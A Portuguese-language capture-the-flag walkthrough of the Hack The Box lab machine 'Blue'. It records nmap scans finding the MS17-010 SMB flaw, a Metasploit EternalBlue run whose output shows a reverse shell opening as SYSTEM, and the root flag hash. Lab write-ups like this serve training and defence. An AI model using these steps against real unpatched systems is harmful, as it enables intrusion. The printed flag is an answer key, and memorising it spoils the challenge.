

Nome:
Blue

IP:
10.10.10.40

Responde a ping (firewall possivelmente desativado).

Para iniciar, um scan sem confirmações se o host esta UP (-Pn), e procurando as 100 top-ports.

Comando 0:

```
root@kali:~/Documents/HTB# nmap -Pn 10.10.10.40 --top-port=100
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 09:53 EST
Nmap scan report for 10.10.10.40
Host is up, received user-set (0.14s latency).
Not shown: 91 closed ports
Reason: 91 resets
PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
49152/tcp open  unknown      syn-ack ttl 127
49153/tcp open  unknown      syn-ack ttl 127
49154/tcp open  unknown      syn-ack ttl 127
49155/tcp open  unknown      syn-ack ttl 127
49156/tcp open  unknown      syn-ack ttl 127
49157/tcp open  unknown      syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds
```

Com as portas encontradas anteriormente, fica possível usar a classe de script default (-sC) do nmap para encontrar mais algumas informações.

Comando 0:

```
root@kali: ~/Documents/HTB
Arquivo Editar Ver Pesquisar Terminal Ajuda
root@kali:~/Documents/HTB# nmap -sC -p135,139,445,49152-49157 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 10:01 EST
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.59% done; ETC: 10:02 (0:00:04 remaining)
Nmap scan report for 10.10.10.40
Host is up, received reset ttl 127 (0.14s latency).

PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
49152/tcp open  unknown      syn-ack ttl 127
49153/tcp open  unknown      syn-ack ttl 127
49154/tcp open  unknown      syn-ack ttl 127
49155/tcp open  unknown      syn-ack ttl 127
49156/tcp open  unknown      syn-ack ttl 127
49157/tcp open  unknown      syn-ack ttl 127

Host script results:
|_ clock-skew: mean: 9s, deviation: 0s, median: 8s
|_ smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional
6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::spl:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2019-11-20T15:01:13+00:00
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|   2.02:
|       Message signing enabled but not required
|_ smb2-time:
|   date: 2019-11-20T15:01:15
|_ start_date: 2019-11-20T14:07:35

Nmap done: 1 IP address (1 host up) scanned in 84.29 seconds
```

Nenhuma outra porta (senão as referentes ao SMB) retornaram informações úteis, a não ser pelo estado das mesmas.

Quanto ao retorno do script default (-sC) para SMB, obteu-se várias informações úteis, tais como nome do SO, nome do PC, NetBIOS (definição de nome sobre as redes), workgroup, etc.

Apontando scripts de vulnerabilidades para SMB, obtém-se alguns resultados para a continuidade da exploração.

Comando 0:

```

root@kali:~/Documents/HTB# nmap --script smb-vuln* -p135,139,445,49152-49157 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 10:17 EST
Nmap scan report for 10.10.10.40
Host is up, received echo-reply ttl 127 (0.14s latency).

PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
49152/tcp open  unknown      syn-ack ttl 127
49153/tcp open  unknown      syn-ack ttl 127
49154/tcp open  unknown      syn-ack ttl 127
49155/tcp open  unknown      syn-ack ttl 127
49156/tcp open  unknown      syn-ack ttl 127
49157/tcp open  unknown      syn-ack ttl 127

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft
SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 16.00 seconds

```

O scan retornou a existencia da vulnerabilidade de nível HIGH através do script smb-vuln-ms17-010.

Agora é possível fazer a exploração utilizando o Metasploit.

Comando 0 - Procurando o exploit:

```

msf5 exploit(multi/handler) > search ms17-010

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/admin/smb/ms17_010_command                               2017-03-14     normal Yes     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1  auxiliary/scanner/smb/smb_ms17_010                               2017-03-14     normal Yes     MS17-010 SMB RCE Detection
2  exploit/windows/smb/ms17_010_eternalblue                         2017-03-14     average Yes     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3  exploit/windows/smb/ms17_010_eternalblue_win8                   2017-03-14     average No      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4  exploit/windows/smb/ms17_010_psexec                             2017-03-14     normal Yes     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

```

Comando 1 - Setando o alvo:


```
[*] [2019.11.20-11:38:30] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Making :eb_trans2_exploit packet
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Receiving response from exploit packet
[+] [2019.11.20-11:38:31] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC0000000)!
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] [2019.11.20-11:38:32] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 2 opened (10.10.14.9:443 -> 10.10.10.40:49158) at 2019-11-20 11:38:32 - 0500
[+] [2019.11.20-11:38:33] 10.10.10.40:445 - .....WIN.....
[+] [2019.11.20-11:38:33] 10.10.10.40:445 - .....
[+] [2019.11.20-11:38:33] 10.10.10.40:445 - .....

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

E então é possível visualizar o root.txt.

```
C:\Users\Administrator>cd Desktop
cd Desktop
d
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911

Directory of C:\Users\Administrator\Desktop

24/12/2017  02:22    <DIR>          .
24/12/2017  02:22    <DIR>          ..
21/07/2017  06:57                32 root.txt
               1 File(s)                32 bytes
               2 Dir(s)  15,677,022,208 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
ff548eb71e920ff6c08843ce9df4e717
```

flag: ff548eb71e920ff6c08843ce9df4e717